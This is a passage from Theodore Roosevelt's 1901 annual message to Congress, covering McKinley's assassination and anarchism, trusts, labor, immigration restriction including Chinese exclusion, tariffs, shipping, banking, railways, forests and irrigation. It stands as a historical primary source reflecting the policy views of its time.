took\nadvantage of an occasion when the President was meeting the people\ngenerally; and advancing as if to take the hand out-stretched to him in\nkindly and brotherly fellowship, he turned the noble and generous\nconfidence of the victim into an opportunity to strike the fatal blow.\nThere is no baser deed in all the annals of crime.The shock, the grief of the country, are bitter in the minds of all who\nsaw the dark days, while the President yet hovered between life and\ndeath. At last the light was stilled in the kindly eyes and the breath\nwent from the lips that even in mortal agony uttered no words save of\nforgiveness to his murderer, of love for his friends, and of faltering\ntrust in the will of the Most High. Such a death, crowning the glory of\nsuch a life, leaves us with infinite sorrow, but with such pride in\nwhat he had accomplished and in his own personal character, that we\nfeel the blow not as struck at him, but as struck at the Nation We\nmourn a good and great President who is dead; but while we mourn we are\nlifted up by the splendid achievements of his life and the grand\nheroism with which he met his death.When we turn from the man to the Nation, the harm done is so great as\nto excite our gravest apprehensions and to demand our wisest and most\nresolute action. This criminal was a professed anarchist, inflamed by\nthe teachings of professed anarchists, and probably also by the\nreckless utterances of those who, on the stump and in the public press,\nappeal to the dark and evil spirits of malice and greed, envy and\nsullen hatred. The wind is sowed by the men who preach such doctrines,\nand they cannot escape their share of responsibility for the whirlwind\nthat is reaped. This applies alike to the deliberate demagogue, to the\nexploiter of sensationalism, and to the crude and foolish visionary\nwho, for whatever reason, apologizes for crime or excites aimless\ndiscontent.The blow was aimed not at this President, but at all Presidents; at\nevery symbol of government. President McKinley was as emphatically the\nembodiment of the popular will of the Nation expressed through the\nforms of law as a New England town meeting is in similar fashion the\nembodiment of the law-abiding purpose and practice of the people of the\ntown. On no conceivable theory could the murder of the President be\naccepted as due to protest against \"inequalities in the social order,\"\nsave as the murder of all the freemen engaged in a town meeting could\nbe accepted as a protest against that social inequality which puts a\nmalefactor in jail. Anarchy is no more an expression of \"social\ndiscontent\" than picking pockets or wife-beating.The anarchist, and especially the anarchist in the United States, is\nmerely one type of criminal, more dangerous than any other because he\nrepresents the same depravity in a greater degree. The man who\nadvocates anarchy directly or indirectly, in any shape or fashion, or\nthe man who apologizes for anarchists and their deeds, makes himself\nmorally accessory to murder before the fact. The anarchist is a\ncriminal whose perverted instincts lead him to prefer confusion and\nchaos to the most beneficent form of social order. His protest of\nconcern for workingmen is outrageous in its impudent falsity; for if\nthe political institutions of this country do not afford opportunity to\nevery honest and intelligent son of toil, then the door of hope is\nforever closed against him. The anarchist is everywhere not merely the\nenemy of system and of progress, but the deadly foe of liberty. If ever\nanarchy is triumphant, its triumph will last for but one red moment, to\nbe succeeded, for ages by the gloomy night of despotism.For the anarchist himself, whether he preaches or practices his\ndoctrines, we need not have one particle more concern than for any\nordinary murderer. He is not the victim of social or political\ninjustice. There are no wrongs to remedy in his case. The cause of his\ncriminality is to be found in his own evil passions and in the evil\nconduct of those who urge him on, not in any failure by others or by\nthe State to do justice to him or his. He is a malefactor and nothing\nelse. He is in no sense, in no shape or way, a \"product of social\nconditions,\" save as a highwayman is \"produced\" by the fact than an\nunarmed man happens to have a purse. It is a travesty upon the great\nand holy names of liberty and freedom to permit them to be invoked in\nsuch a cause. No man or body of men preaching anarchistic doctrines\nshould be allowed at large any more than if preaching the murder of\nsome specified private individual. Anarchistic speeches, writings, and\nmeetings are essentially seditious and treasonable.I earnestly recommend to the Congress that in the exercise of its wise\ndiscretion it should take into consideration the coming to this country\nof anarchists or persons professing principles hostile to all\ngovernment and justifying the murder of those placed in authority. Such\nindividuals as those who not long ago gathered in open meeting to\nglorify the murder of King Humbert of Italy perpetrate a crime, and the\nlaw should ensure their rigorous punishment. They and those like them\nshould be kept out of this country; and if found here they should be\npromptly deported to the country whence they came; and far-reaching\nprovision should be made for the punishment of those who stay. No\nmatter calls more urgently for the wisest thought of the Congress.The Federal courts should be given jurisdiction over any man who kills\nor attempts to kill the President or any man who by the Constitution or\nby law is in line of succession for the Presidency, while the\npunishment for an unsuccessful attempt should be proportioned to the\nenormity of the offense against our institutions.Anarchy is a crime against the whole human race; and all mankind should\nband against the anarchist. His crime should be made an offense against\nthe law of nations, like piracy and that form of man-stealing known as\nthe slave trade; for it is of far blacker infamy than either. It should\nbe so declared by treaties among all civilized powers. Such treaties\nwould give to the Federal Government the power of dealing with the\ncrime.A grim commentary upon the folly of the anarchist position was afforded\nby the attitude of the law toward this very criminal who had just taken\nthe life of the President. The people would have torn him limb from\nlimb if it had not been that the law he defied was at once invoked in\nhis behalf. So far from his deed being committed on behalf of the\npeople against the Government, the Government was obliged at once to\nexert its full police power to save him from instant death at the hands\nof the people. Moreover, his deed worked not the slightest dislocation\nin our governmental system, and the danger of a recurrence of such\ndeeds, no matter how great it might grow, would work only in the\ndirection of strengthening and giving harshness to the forces of order.\nNo man will ever be restrained from becoming President by any fear as\nto his personal safety. If the risk to the President's life became\ngreat, it would mean that the office would more and more come to be\nfilled by men of a spirit which would make them resolute and merciless\nin dealing with every friend of disorder. This great country will not\nfall into anarchy, and if anarchists should ever become a serious\nmenace to its institutions, they would not merely be stamped out, but\nwould involve in their own ruin every active or passive sympathizer\nwith their doctrines. The American people are slow to wrath, but when\ntheir wrath is once kindled it burns like a consuming flame.During the last five years business confidence has been restored, and\nthe nation is to be congratulated because of its present abounding\nprosperity. Such prosperity can never be created by law alone, although\nit is easy enough to destroy it by mischievous laws. If the hand of the\nLord is heavy upon any country, if flood or drought comes, human wisdom\nis powerless to avert the calamity. Moreover, no law can guard us\nagainst the consequences of our own folly. The men who are idle or\ncredulous, the men who seek gains not by genuine work with head or hand\nbut by gambling in any form, are always a source of menace not only to\nthemselves but to others. If the business world loses its head, it\nloses what legislation cannot supply. Fundamentally the welfare of each\ncitizen, and therefore the welfare of the aggregate of citizens which\nmakes the nation, must rest upon individual thrift and energy,\nresolution, and intelligence. Nothing can take the place of this\nindividual capacity; but wise legislation and honest and intelligent\nadministration can give it the fullest scope, the largest opportunity\nto work to good effect.The tremendous and highly complex industrial development which went on\nwith ever accelerated rapidity during the latter half of the nineteenth\ncentury brings us face to face, at the beginning of the twentieth, with\nvery serious social problems. The old laws, and the old customs which\nhad almost the binding force of law, were once quite sufficient to\nregulate the accumulation and distribution of wealth. Since the\nindustrial changes which have so enormously increased the productive\npower of mankind, they are no longer sufficient.The growth of cities has gone on beyond comparison faster than the\ngrowth of the country, and the upbuilding of the great industrial\ncenters has meant a startling increase, not merely in the aggregate of\nwealth, but in the number of very large individual, and especially of\nvery large corporate, fortunes. The creation of these great corporate\nfortunes has not been due to the tariff nor to any other governmental\naction, but to natural causes in the business world, operating in other\ncountries as they operate in our own.The process has aroused much antagonism, a great part of which is\nwholly without warrant. It is not true that as the rich have grown\nricher the poor have grown poorer. On the contrary, never before has\nthe average man, the wage-worker, the farmer, the small trader, been so\nwell off as in this country and at the present time. There have been\nabuses connected with the accumulation of wealth; yet it remains true\nthat a fortune accumulated in legitimate business can be accumulated by\nthe person specially benefited only on condition of conferring immense\nincidental benefits upon others. Successful enterprise, of the type\nwhich benefits all mankind, can only exist if the conditions are such\nas to offer great prizes as the rewards of success.The captains of industry who have driven the railway systems across\nthis continent, who have built up our commerce, who have developed our\nmanufactures, have on the whole done great good to our people. Without\nthem the material development of which we are so justly proud could\nnever have taken place. Moreover, we should recognize the immense\nimportance of this material development of leaving as unhampered as is\ncompatible with the public good the strong and forceful men upon whom\nthe success of business operations inevitably rests. The slightest\nstudy of business conditions will satisfy anyone capable of forming a\njudgment that the personal equation is the most important factor in a\nbusiness operation; that the business ability of the man at the head of\nany business concern, big or little, is usually the factor which fixes\nthe gulf between striking success and hopeless failure.An additional reason for caution in dealing with corporations is to be\nfound in the international commercial conditions of to-day. The same\nbusiness conditions which have produced the great aggregations of\ncorporate and individual wealth have made them very potent factors in\ninternational Commercial competition. Business concerns which have the\nlargest means at their disposal and are managed by the ablest men are\nnaturally those which take the lead in the strife for commercial\nsupremacy among the nations of the world. America has only just begun\nto assume that commanding position in the international business world\nwhich we believe will more and more be hers. It is of the utmost\nimportance that this position be not jeoparded, especially at a time\nwhen the overflowing abundance of our own natural resources and the\nskill, business energy, and mechanical aptitude of our people make\nforeign markets essential. Under such conditions it would be most\nunwise to cramp or to fetter the youthful strength of our Nation.Moreover, it cannot too often be pointed out that to strike with\nignorant violence at the interests of one set of men almost inevitably\nendangers the interests of all. The fundamental rule in our national\nlife--the rule which underlies all others--is that, on the whole, and\nin the long run, we shall go up or down together. There are exceptions;\nand in times of prosperity some will prosper far more, and in times of\nadversity, some will suffer far more, than others; but speaking\ngenerally, a period of good times means that all share more or less in\nthem, and in a period of hard times all feel the stress to a greater or\nless degree. It surely ought not to be necessary to enter into any\nproof of this statement; the memory of the lean years which began in\n1893 is still vivid, and we can contrast them with the conditions in\nthis very year which is now closing. Disaster to great business\nenterprises can never have its effects limited to the men at the top.\nIt spreads throughout, and while it is bad for everybody, it is worst\nfor those farthest down. The capitalist may be shorn of his luxuries;\nbut the wage-worker may be deprived of even bare necessities.The mechanism of modern business is so delicate that extreme care must\nbe taken not to interfere with it in a spirit of rashness or ignorance.\nMany of those who have made it their vocation to denounce the great\nindustrial combinations which are popularly, although with technical\ninaccuracy, known as \"trusts,\" appeal especially to hatred and fear.\nThese are precisely the two emotions, particularly when combined with\nignorance, which unfit men for the exercise of cool and steady\njudgment. In facing new industrial conditions, the whole history of the\nworld shows that legislation will generally be both unwise and\nineffective unless undertaken after calm inquiry and with sober\nself-restraint. Much of the legislation directed at the trusts would\nhave been exceedingly mischievous had it not also been entirely\nineffective. In accordance with a well-known sociological law, the\nignorant or reckless agitator has been the really effective friend of\nthe evils which he has been nominally opposing. In dealing with\nbusiness interests, for the Government to undertake by crude and\nill-considered legislation to do what may turn out to be bad, would be\nto incur the risk of such far-reaching national disaster that it would\nbe preferable to undertake nothing at all. The men who demand the\nimpossible or the undesirable serve as the allies of the forces with\nwhich they are nominally at war, for they hamper those who would\nendeavor to find out in rational fashion what the wrongs really are and\nto what extent and in what manner it is practicable to apply remedies.All this is true; and yet it is also true that there are real and grave\nevils, one of the chief being over-capitalization because of its many\nbaleful consequences; and a resolute and practical effort must be made\nto correct these evils.There is a widespread conviction in the minds of the American people\nthat the great corporations known as trusts are in certain of their\nfeatures and tendencies hurtful to the general welfare. This springs\nfrom no spirit of envy or uncharitableness, nor lack of pride in the\ngreat industrial achievements that have placed this country at the head\nof the nations struggling for commercial supremacy. It does not rest\nupon a lack of intelligent appreciation of the necessity of meeting\nchanging and changed conditions of trade with new methods, nor upon\nignorance of the fact that combination of capital in the effort to\naccomplish great things is necessary when the world's progress demands\nthat great things be done. It is based upon sincere conviction that\ncombination and concentration should be, not prohibited, but supervised\nand within reasonable limits controlled; and in my judgment this\nconviction is right.It is no limitation upon property rights or freedom of contract to\nrequire that when men receive from Government the privilege of doing\nbusiness under corporate form, which frees them from individual\nresponsibility, and enables them to call into their enterprises the\ncapital of the public, they shall do so upon absolutely truthful\nrepresentations as to the value of the property in which the capital is\nto be invested. Corporations engaged in interstate commerce should be\nregulated if they are found to exercise a license working to the public\ninjury. It should be as much the aim of those who seek for social\nbetterment to rid the business world of crimes of cunning as to rid the\nentire body politic of crimes of violence. Great corporations exist\nonly because they are created and safeguarded by our institutions; and\nit is therefore our right and our duty to see that they work in harmony\nwith these institutions.The first essential in determining how to deal with the great\nindustrial combinations is knowledge of the facts--publicity. In the\ninterest of the public, the Government should have the right to inspect\nand examine the workings of the great corporations engaged in\ninterstate business. Publicity is the only sure remedy which we can now\ninvoke. What further remedies are needed in the way of governmental\nregulation, or taxation, can only be determined after publicity has\nbeen obtained, by process of law, and in the course of administration.\nThe first requisite is knowledge, full and complete--knowledge which\nmay be made public to the world.Artificial bodies, such as corporations and joint stock or other\nassociations, depending upon any statutory law for their existence or\nprivileges, should be subject to proper governmental supervision, and\nfull and accurate information as to their operations should be made\npublic regularly at reasonable intervals.The large corporations, commonly called trusts, though organized in one\nState, always do business in many States, often doing very little\nbusiness in the State where they are incorporated. There is utter lack\nof uniformity in the State laws about them; and as no State has any\nexclusive interest in or power over their acts, it has in practice\nproved impossible to get adequate regulation through State action.\nTherefore, in the interest of the whole people, the Nation should,\nwithout interfering with the power of the States in the matter itself,\nalso assume power of supervision and regulation over all corporations\ndoing an interstate business. This is especially true where the\ncorporation derives a portion of its wealth from the existence of some\nmonopolistic element or tendency in its business. There would be no\nhardship in such supervision; banks are subject to it, and in their\ncase it is now accepted as a simple matter of course. Indeed, it is\nprobable that supervision of corporations by the National Government\nneed not go so far as is now the case with the supervision exercised\nover them by so conservative a State as Massachusetts, in order to\nproduce excellent results.When the Constitution was adopted, at the end of the eighteenth\ncentury, no human wisdom could foretell the sweeping changes, alike in\nindustrial and political conditions, which were to take place by the\nbeginning of the twentieth century. At that time it was accepted as a\nmatter of course that the several States were the proper authorities to\nregulate, so far as was then necessary, the comparatively insignificant\nand strictly localized corporate bodies of the day. The conditions are\nnow wholly different and wholly different action is called for. I\nbelieve that a law can be framed which will enable the National\nGovernment to exercise control along the lines above indicated;\nprofiting by the experience gained through the passage and\nadministration of the Interstate-Commerce Act. If, however, the\njudgment of the Congress is that it lacks the constitutional power to\npass such an act, then a constitutional amendment should be submitted\nto confer the power.There should be created a Cabinet officer, to be known as Secretary of\nCommerce and Industries, as provided in the bill introduced at the last\nsession of the Congress. It should be his province to deal with\ncommerce in its broadest sense; including among many other things\nwhatever concerns labor and all matters affecting the great business\ncorporations and our merchant marine.The course proposed is one phase of what should be a comprehensive and\nfar-reaching scheme of constructive statesmanship for the purpose of\nbroadening our markets, securing our business interests on a safe\nbasis, and making firm our new position in the international industrial\nworld; while scrupulously safeguarding the rights of wage-worker and\ncapitalist, of investor and private citizen, so as to secure equity as\nbetween man and man in this Republic.With the sole exception of the farming interest, no one matter is of\nsuch vital moment to our whole people as the welfare of the\nwage-workers. If the farmer and the wage-worker are well off, it is\nabsolutely certain that all others will be well off too. It is\ntherefore a matter for hearty congratulation that on the whole wages\nare higher to-day in the United States than ever before in our history,\nand far higher than in any other country. The standard of living is\nalso higher than ever before. Every effort of legislator and\nadministrator should be bent to secure the permanency of this condition\nof things and its improvement wherever possible. Not only must our\nlabor be protected by the tariff, but it should also be protected so\nfar as it is possible from the presence in this country of any laborers\nbrought over by contract, or of those who, coming freely, yet represent\na standard of living so depressed that they can undersell our men in\nthe labor market and drag them to a lower level. I regard it as\nnecessary, with this end in view, to re-enact immediately the law\nexcluding Chinese laborers and to strengthen it wherever necessary in\norder to make its enforcement entirely effective.The National Government should demand the highest quality of service\nfrom its employees; and in return it should be a good employer. If\npossible legislation should be passed, in connection with the\nInterstate Commerce Law, which will render effective the efforts of\ndifferent States to do away with the competition of convict contract\nlabor in the open labor market. So far as practicable under the\nconditions of Government work, provision should be made to render the\nenforcement of the eight-hour law easy and certain. In all industries\ncarried on directly or indirectly for the United States Government\nwomen and children should be protected from excessive hours of labor,\nfrom night work, and from work under unsanitary conditions. The\nGovernment should provide in its contracts that all work should be done\nunder \"fair\" conditions, and in addition to setting a high standard\nshould uphold it by proper inspection, extending if necessary to the\nsubcontractors. The Government should forbid all night work for women\nand children, as well as excessive overtime. For the District of\nColumbia a good factory law should be passed; and, as a powerful\nindirect aid to such laws, provision should be made to turn the\ninhabited alleys, the existence of which is a reproach to our Capital\ncity, into minor streets, where the inhabitants can live under\nconditions favorable to health and morals.American wage-workers work with their heads as well as their hands.\nMoreover, they take a keen pride in what they are doing; so that,\nindependent of the reward, they wish to turn out a perfect job. This is\nthe great secret of our success in competition with the labor of\nforeign countries.The most vital problem with which this country, and for that matter the\nwhole civilized world, has to deal, is the problem which has for one\nside the betterment of social conditions, moral and physical, in large\ncities, and for another side the effort to deal with that tangle of\nfar-reaching questions which we group together when we speak of\n\"labor.\" The chief factor in the success of each man--wage-worker,\nfarmer, and capitalist alike--must ever be the sum total of his own\nindividual qualities and abilities. Second only to this comes the power\nof acting in combination or association with others. Very great good\nhas been and will be accomplished by associations or unions of\nwage-workers, when managed with forethought, and when they combine\ninsistence upon their own rights with law-abiding respect for the\nrights of others. The display of these qualities in such bodies is a\nduty to the nation no less than to the associations themselves.\nFinally, there must also in many cases be action by the Government in\norder to safeguard the rights and interests of all. Under our\nConstitution there is much more scope for such action by the State and\nthe municipality than by the nation. But on points such as those\ntouched on above the National Government can act.When all is said and done, the rule of brotherhood remains as the\nindispensable prerequisite to success in the kind of national life for\nwhich we strive. Each man must work for himself, and unless he so works\nno outside help can avail him; but each man must remember also that he\nis indeed his brother's keeper, and that while no man who refuses to\nwalk can be carried with advantage to himself or anyone else, yet that\neach at times stumbles or halts, that each at times needs to have the\nhelping hand outstretched to him. To be permanently effective, aid must\nalways take the form of helping a man to help himself; and we can all\nbest help ourselves by joining together in the work that is of common\ninterest to all.Our present immigration laws are unsatisfactory. We need every honest\nand efficient immigrant fitted to become an American citizen, every\nimmigrant who comes here to stay, who brings here a strong body, a\nstout heart, a good head, and a resolute purpose to do his duty well in\nevery way and to bring up his children as law-abiding and God-fearing\nmembers of the community. But there should be a comprehensive law\nenacted with the object of working a threefold improvement over our\npresent system. First, we should aim to exclude absolutely not only all\npersons who are known to be believers in anarchistic principles or\nmembers of anarchistic societies, but also all persons who are of a low\nmoral tendency or of unsavory reputation. This means that we should\nrequire a more thorough system of inspection abroad and a more rigid\nsystem of examination at our immigration ports, the former being\nespecially necessary.The second object of a proper immigration law ought to be to secure by\na careful and not merely perfunctory educational test some intelligent\ncapacity to appreciate American institutions and act sanely as American\ncitizens. This would not keep out all anarchists, for many of them\nbelong to the intelligent criminal class. But it would do what is also\nin point, that is, tend to decrease the sum of ignorance, so potent in\nproducing the envy, suspicion, malignant passion, and hatred of order,\nout of which anarchistic sentiment inevitably springs. Finally, all\npersons should be excluded who are below a certain standard of economic\nfitness to enter our industrial field as competitors with American\nlabor. There should be proper proof of personal capacity to earn an\nAmerican living and enough money to insure a decent start under\nAmerican conditions. This would stop the influx of cheap labor, and the\nresulting competition which gives rise to so much of bitterness in\nAmerican industrial life; and it would dry up the springs of the\npestilential social conditions in our great cities, where anarchistic\norganizations have their greatest possibility of growth.Both the educational and economic tests in a wise immigration law\nshould be designed to protect and elevate the general body politic and\nsocial. A very close supervision should be exercised over the steamship\ncompanies which mainly bring over the immigrants, and they should be\nheld to a strict accountability for any infraction of the law.There is general acquiescence in our present tariff system as a\nnational policy. The first requisite to our prosperity is the\ncontinuity and stability of this economic policy. Nothing could be more\nunwise than to disturb the business interests of the country by any\ngeneral tariff change at this time. Doubt, apprehension, uncertainty\nare exactly what we most wish to avoid in the interest of our\ncommercial and material well-being. Our experience in the past has\nshown that sweeping revisions of the tariff are apt to produce\nconditions closely approaching panic in the business world. Yet it is\nnot only possible, but eminently desirable, to combine with the\nstability of our economic system a supplementary system of reciprocal\nbenefit and obligation with other nations. Such reciprocity is an\nincident and result of the firm establishment and preservation of our\npresent economic policy. It was specially provided for in the present\ntariff law.Reciprocity must be treated as the handmaiden of protection. Our first\nduty is to see that the protection granted by the tariff in every case\nwhere it is needed is maintained, and that reciprocity be sought for so\nfar as it can safely be done without injury to our home industries.\nJust how far this is must be determined according to the individual\ncase, remembering always that every application of our tariff policy to\nmeet our shifting national needs must be conditioned upon the cardinal\nfact that the duties must never be reduced below the point that will\ncover the difference between the labor cost here and abroad. The\nwell-being of the wage-worker is a prime consideration of our entire\npolicy of economic legislation.Subject to this proviso of the proper protection necessary to our\nindustrial well-being at home, the principle of reciprocity must\ncommand our hearty support. The phenomenal growth of our export trade\nemphasizes the urgency of the need for wider markets and for a liberal\npolicy in dealing with foreign nations. Whatever is merely petty and\nvexatious in the way of trade restrictions should be avoided. The\ncustomers to whom we dispose of our surplus products in the long run,\ndirectly or indirectly, purchase those surplus products by giving us\nsomething in return. Their ability to purchase our products should as\nfar as possible be secured by so arranging our tariff as to enable us\nto take from them those products which we can use without harm to our\nown industries and labor, or the use of which will be of marked benefit\nto us.It is most important that we should maintain the high level of our\npresent prosperity. We have now reached the point in the development of\nour interests where we are not only able to supply our own markets but\nto produce a constantly growing surplus for which we must find markets\nabroad. To secure these markets we can utilize existing duties in any\ncase where they are no longer needed for the purpose of protection, or\nin any case where the article is not produced here and the duty is no\nlonger necessary for revenue, as giving us something to offer in\nexchange for what we ask. The cordial relations with other nations\nwhich are so desirable will naturally be promoted by the course thus\nrequired by our own interests.The natural line of development for a policy of reciprocity will be in\nconnection with those of our productions which no longer require all of\nthe support once needed to establish them upon a sound basis, and with\nthose others where either because of natural or of economic causes we\nare beyond the reach of successful competition.I ask the attention of the Senate to the reciprocity treaties laid\nbefore it by my predecessor.The condition of the American merchant marine is such as to call for\nimmediate remedial action by the Congress. It is discreditable to us as\na Nation that our merchant marine should be utterly insignificant in\ncomparison to that of other nations which we overtop in other forms of\nbusiness. We should not longer submit to conditions under which only a\ntrifling portion of our great commerce is carried in our own ships. To\nremedy this state of things would not .merely serve to build up our\nshipping interests, but it would also result in benefit to all who are\ninterested in the permanent establishment of a wider market for\nAmerican products, and would provide an auxiliary force for the Navy.\nShips work for their own countries just as railroads work for their\nterminal points. Shipping lines, if established to the principal\ncountries with which we have dealings, would be of political as well as\ncommercial benefit. From every standpoint it is unwise for the United\nStates to continue to rely upon the ships of competing nations for the\ndistribution of our goods. It should be made advantageous to carry\nAmerican goods in American-built ships.At present American shipping is under certain great disadvantages when\nput in competition with the shipping of foreign countries. Many of the\nfast foreign steamships, at a speed of fourteen knots or above, are\nsubsidized; and all our ships, sailing vessels and steamers alike,\ncargo carriers of slow speed and mail carriers of high speed, have to\nmeet the fact that the original cost of building American ships is\ngreater than is the case abroad; that the wages paid American officers\nand seamen are very much higher than those paid the officers and seamen\nof foreign competing countries; and that the standard of living on our\nships is far superior to the standard of living on the ships of our\ncommercial rivals.Our Government should take such action as will remedy these\ninequalities. The American merchant marine should be restored to the\nocean.The Act of March 14, 1900, intended unequivocally to establish gold as\nthe standard money and to maintain at a parity therewith all forms of\nmoney medium in use with us, has been shown to be timely and judicious.\nThe price of our Government bonds in the world's market, when compared\nwith the price of similar obligations issued by other nations, is a\nflattering tribute to our public credit. This condition it is evidently\ndesirable to maintain.In many respects the National Banking Law furnishes sufficient liberty\nfor the proper exercise of the banking function; but there seems to be\nneed of better safeguards against the deranging influence of commercial\ncrises and financial panics. Moreover, the currency of the country\nshould be made responsive to the demands of our domestic trade and\ncommerce.The collections from duties on imports and internal taxes continue to\nexceed the ordinary expenditures of the Government, thanks mainly to\nthe reduced army expenditures. The utmost care should be taken not to\nreduce the revenues so that there will be any possibility of a deficit;\nbut, after providing against any such contingency, means should be\nadopted which will bring the revenues more nearly within the limit of\nour actual needs. In his report to the Congress the Secretary of the\nTreasury considers all these questions at length, and I ask your\nattention to the report and recommendations.I call special attention to the need of strict economy in expenditures.\nThe fact that our national needs forbid us to be niggardly in providing\nwhatever is actually necessary to our well-being, should make us doubly\ncareful to husband our national resources, as each of us husbands his\nprivate resources, by scrupulous avoidance of anything like wasteful or\nreckless expenditure. Only by avoidance of spending money on what is\nneedless or unjustifiable can we legitimately keep our income to the\npoint required to meet our needs that are genuine.In 1887 a measure was enacted for the regulation of interstate\nrailways, commonly known as the Interstate Commerce Act. The cardinal\nprovisions of that act were that railway rates should be just and\nreasonable and that all shippers, localities, and commodities should be\naccorded equal treatment. A commission was created and endowed with\nwhat were supposed to be the necessary powers to execute the provisions\nof this act. That law was largely an experiment. Experience has shown\nthe wisdom of its purposes, but has also shown, possibly that some of\nits requirements are wrong, certainly that the means devised for the\nenforcement of its provisions are defective. Those who complain of the\nmanagement of the railways allege that established rates are not\nmaintained; that rebates and similar devices are habitually resorted\nto; that these preferences are usually in favor of the large shipper;\nthat they drive out of business the smaller competitor; that while many\nrates are too low, many others are excessive; and that gross\npreferences are made, affecting both localities and commodities. Upon\nthe other hand, the railways assert that the law by its very terms\ntends to produce many of these illegal practices by depriving carriers\nof that right of concerted action which they claim is necessary to\nestablish and maintain non-discriminating rates.The act should be amended. The railway is a public servant. Its rates\nshould be just to and open to all shippers alike. The Government should\nsee to it that within its jurisdiction this is so and should provide a\nspeedy, inexpensive, and effective remedy to that end. At the same time\nit must not be forgotten that our railways are the arteries through\nwhich the commercial lifeblood of this Nation flows. Nothing could be\nmore foolish than the enactment of legislation which would\nunnecessarily interfere with the development and operation of these\ncommercial agencies. The subject is one of great importance and calls\nfor the earnest attention of the Congress.The Department of Agriculture during the past fifteen years has\nsteadily broadened its work on economic lines, and has accomplished\nresults of real value in upbuilding domestic and foreign trade. It has\ngone into new fields until it is now in touch with all sections of our\ncountry and with two of the island groups that have lately come under\nour jurisdiction, whose people must look to agriculture as a\nlivelihood. It is searching the world for grains, grasses, fruits, and\nvegetables specially fitted for introduction into localities in the\nseveral States and Territories where they may add materially to our\nresources. By scientific attention to soil survey and possible new\ncrops, to breeding of new varieties of plants, to experimental\nshipments, to animal industry and applied chemistry, very practical aid\nhas been given our farming and stock-growing interests. The products of\nthe farm have taken an unprecedented place in our export trade during\nthe year that has just closed.Public opinion throughout the United States has moved steadily toward a\njust appreciation of the value of forests, whether planted or of\nnatural growth. The great part played by them in the creation and\nmaintenance of the national wealth is now more fully realized than ever\nbefore.Wise forest protection does not mean the withdrawal of forest\nresources, whether of wood, water, or grass, from contributing their\nfull share to the welfare of the people, but, on the contrary, gives\nthe assurance of larger and more certain supplies. The fundamental idea\nof forestry is the perpetuation of forests by use. Forest protection is\nnot an end of itself; it is a means to increase and sustain the\nresources of our country and the industries which depend upon them. The\npreservation of our forests is an imperative business necessity. We\nhave come to see clearly that whatever destroys the forest, except to\nmake way for agriculture, threatens our well being.The practical usefulness of the national forest reserves to the mining,\ngrazing, irrigation, and other interests of the regions in which the\nreserves lie has led to a widespread demand by the people of the West\nfor their protection and extension. The forest reserves will inevitably\nbe of still greater use in the future than in the past. Additions\nshould be made to them whenever practicable, and their usefulness\nshould be increased by a thoroughly business-like management.At present the protection of the forest reserves rests with the General\nLand Office, the mapping and description of their timber with the\nUnited States Geological Survey, and the preparation of plans for their\nconservative use with the Bureau of Forestry, which is also charged\nwith the general advancement of practical forestry in the United\nStates. These various functions should be united in the Bureau of\nForestry, to which they properly belong. The present diffusion of\nresponsibility is bad from every standpoint. It prevents that effective\nco-operation between the Government and the men who utilize the\nresources of the reserves, without which the interests of both must\nsuffer. The scientific bureaus generally should be put under the\nDepartment of Agriculture. The President should have by law the power\nof transferring lands for use as forest reserves to the Department of\nAgriculture. He already has such power in the case of lands needed by\nthe Departments of War and the Navy.The wise administration of the forest reserves will be not less helpful\nto the interests which depend on water than to those which depend on\nwood and grass. The water supply itself depends upon the forest. In the\narid region it is water, not land, which measures production. The\nwestern half of the United States would sustain a population greater\nthan that of our whole country to-day if the waters that now run to\nwaste were saved and used for irrigation. The forest and water problems\nare perhaps the most vital internal questions of the United States.Certain of the forest reserves should also be made preserves for the\nwild forest creatures. All of the reserves should be better protected\nfrom fires. Many of them need special protection because of the great\ninjury done by live stock, above all by sheep. The increase in deer,\nelk, and other animals in the Yellowstone Park shows what may be\nexpected when other mountain forests are properly protected by law and\nproperly guarded. Some of these areas have been so denuded of surface\nvegetation by overgrazing that the ground breeding birds, including\ngrouse and quail, and many mammals, including deer, have been\nexterminated or driven away. At the same time the water-storing\ncapacity of the surface has been decreased or destroyed, thus promoting\nfloods in times of rain and diminishing the flow of streams between\nrains.In cases where natural conditions have been restored for a few years,\nvegetation has again carpeted the ground, birds and deer are coming\nback, and hundreds of persons, especially from the immediate\nneighborhood, come each summer to enjoy the privilege of camping. Some\nat least of the forest reserves should afford perpetual protection to\nthe native fauna and flora, safe havens of refuge to our rapidly\ndiminishing wild animals of the larger kinds, and free camping grounds\nfor the ever-increasing numbers of men and women who have learned to\nfind rest, health, and recreation in the splendid forests and\nflower-clad meadows of our mountains. The forest reserves should be set\napart forever for the use and benefit of our people as a whole and not\nsacrificed to the shortsighted greed of a few.The forests are natural reservoirs. By restraining the streams in flood\nand replenishing them in drought they make possible the use of waters\notherwise wasted. They prevent the soil from washing, and so protect\nthe storage reservoirs from filling up with silt. Forest conservation\nis therefore an essential condition of water conservation.The forests alone cannot, however, fully regulate and conserve the\nwaters of the arid region. Great storage works are necessary to\nequalize the flow of streams and to save the flood waters. Their\nconstruction has been conclusively shown to be an undertaking too vast\nfor private effort. Nor can it be best accomplished by the individual\nStates acting alone. Far-reaching interstate problems are involved; and\nthe resources of single States would often be inadequate. It is\nproperly a national function, at least in some of its features. It is\nas right for the National Government to make the streams and rivers of\nthe arid region useful by engineering works for water storage as to\nmake useful the rivers and harbors of the humid region by engineering\nworks of another kind. The storing of the floods in reservoirs at the\nheadwaters of our rivers is but an enlargement of our present policy of\nriver control, under which levees are built on the lower reaches of the\nsame streams.The Government should construct and maintain these reservoirs as it\ndoes other public works. Where their purpose is to regulate the flow of\nstreams, the water should be turned freely into the channels in the dry\nseason to take the same course under the same laws as the natural flow.The reclamation of the unsettled arid public lands presents a different\nproblem. Here it is not enough to regulate the flow of streams. The\nobject of the Government is to dispose of the land to settlers who will\nbuild homes upon it. To accomplish this object water must be brought\nwithin their reach.The pioneer settlers on the arid public domain chose their homes along\nstreams from which they could themselves divert the water to reclaim\ntheir holdings. Such opportunities are practically gone. There remain,\nhowever, vast areas of public land which can be made available for\nhomestead settlement, but only by reservoirs and main-line canals\nimpracticable for private enterprise. These irrigation works should be\nbuilt by the National Government. The lands reclaimed by them should be\nreserved by the Government for actual settlers, and the cost of\nconstruction should so far as possible be repaid by the land reclaimed.\nThe distribution of the water, the division of the streams among\nirrigators, should be left to the settlers themselves in conformity\nwith State laws and without interference with those laws or with vested\nfights. The policy of the National Government should be to aid\nirrigation in the several States and Territories in such manner as will\nenable the people in the local communities to help themselves, and as\nwill stimulate needed reforms in the State laws and regulations\ngoverning irrigation.The reclamation and settlement of the arid lands will enrich every\nportion of our country, just as the settlement of the Ohio and\nMississippi valleys 